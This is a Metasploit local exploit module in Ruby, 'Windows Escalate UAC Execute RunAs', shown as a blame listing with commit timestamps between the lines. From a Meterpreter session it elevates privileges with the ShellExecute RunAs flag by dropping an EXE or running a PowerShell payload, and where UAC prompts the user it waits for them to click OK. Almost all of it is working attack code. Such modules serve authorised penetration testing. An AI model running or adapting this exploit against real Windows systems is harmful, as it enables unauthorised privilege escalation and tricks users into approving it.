2012-10-06 04:51:44 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2012-10-06 04:51:44 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Exploit::Local
|
2013-09-05 18:41:25 +00:00
|
|
|
Rank = ExcellentRanking
|
|
|
|
|
2013-10-25 21:05:33 +00:00
|
|
|
include Post::Windows::Priv
|
|
|
|
include Post::Windows::Runas
|
2013-09-05 18:41:25 +00:00
|
|
|
|
2014-07-31 22:07:17 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
2013-09-05 18:41:25 +00:00
|
|
|
'Name' => 'Windows Escalate UAC Execute RunAs',
|
2014-07-31 22:07:17 +00:00
|
|
|
'Description' => %q(
|
2013-09-05 18:41:25 +00:00
|
|
|
This module will attempt to elevate execution level using
|
|
|
|
the ShellExecute undocumented RunAs flag to bypass low
|
|
|
|
UAC settings.
|
2014-07-31 22:07:17 +00:00
|
|
|
),
|
2013-09-05 18:41:25 +00:00
|
|
|
'License' => MSF_LICENSE,
|
2013-10-19 07:15:38 +00:00
|
|
|
'Author' => [
|
2014-07-31 22:07:17 +00:00
|
|
|
'mubix', # Original technique
|
|
|
|
'b00stfr3ak' # Added powershell option
|
2013-10-19 07:15:38 +00:00
|
|
|
],
|
2014-07-31 22:07:17 +00:00
|
|
|
'Platform' => ['win'],
|
|
|
|
'SessionTypes' => ['meterpreter'],
|
|
|
|
'Targets' => [['Windows', {}]],
|
2013-09-05 18:41:25 +00:00
|
|
|
'DefaultTarget' => 0,
|
2014-07-31 22:07:17 +00:00
|
|
|
'DisclosureDate' => 'Jan 3 2012'
|
2013-09-05 18:41:25 +00:00
|
|
|
))
|
|
|
|
|
|
|
|
register_options([
|
2014-07-31 22:07:17 +00:00
|
|
|
OptString.new('FILENAME', [false, 'File name on disk']),
|
|
|
|
OptString.new('PATH', [false, 'Location on disk, %TEMP% used if not set']),
|
|
|
|
OptEnum.new('TECHNIQUE', [true, 'Technique to use', 'EXE', %w(PSH EXE)]),
|
2013-09-05 18:41:25 +00:00
|
|
|
])
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
2013-10-25 21:05:33 +00:00
|
|
|
if is_uac_enabled?
|
2014-07-31 22:07:17 +00:00
|
|
|
print_status 'UAC is Enabled, checking level...'
|
2014-03-22 17:57:27 +00:00
|
|
|
case get_uac_level
|
2013-10-25 21:05:33 +00:00
|
|
|
when UAC_NO_PROMPT
|
2014-07-31 22:07:17 +00:00
|
|
|
print_good 'UAC is not enabled, no prompt for the user'
|
2013-10-25 21:05:33 +00:00
|
|
|
else
|
|
|
|
print_status "The user will be prompted, wait for them to click 'Ok'"
|
2014-03-22 17:57:27 +00:00
|
|
|
end
|
|
|
|
else
|
2014-07-31 22:07:17 +00:00
|
|
|
print_good 'UAC is not enabled, no prompt for the user'
|
2013-09-05 18:41:25 +00:00
|
|
|
end
|
2014-03-22 17:57:27 +00:00
|
|
|
|
2014-07-31 22:07:17 +00:00
|
|
|
case datastore['TECHNIQUE']
|
|
|
|
when 'EXE'
|
2014-08-02 00:12:04 +00:00
|
|
|
shell_execute_exe(datastore['FILENAME'], datastore['PATH'])
|
2014-07-31 22:07:17 +00:00
|
|
|
when 'PSH'
|
2014-08-02 00:12:04 +00:00
|
|
|
shell_execute_psh
|
2013-09-05 18:41:25 +00:00
|
|
|
end
|
|
|
|
end
|
2013-10-25 21:05:33 +00:00
|
|
|
end
|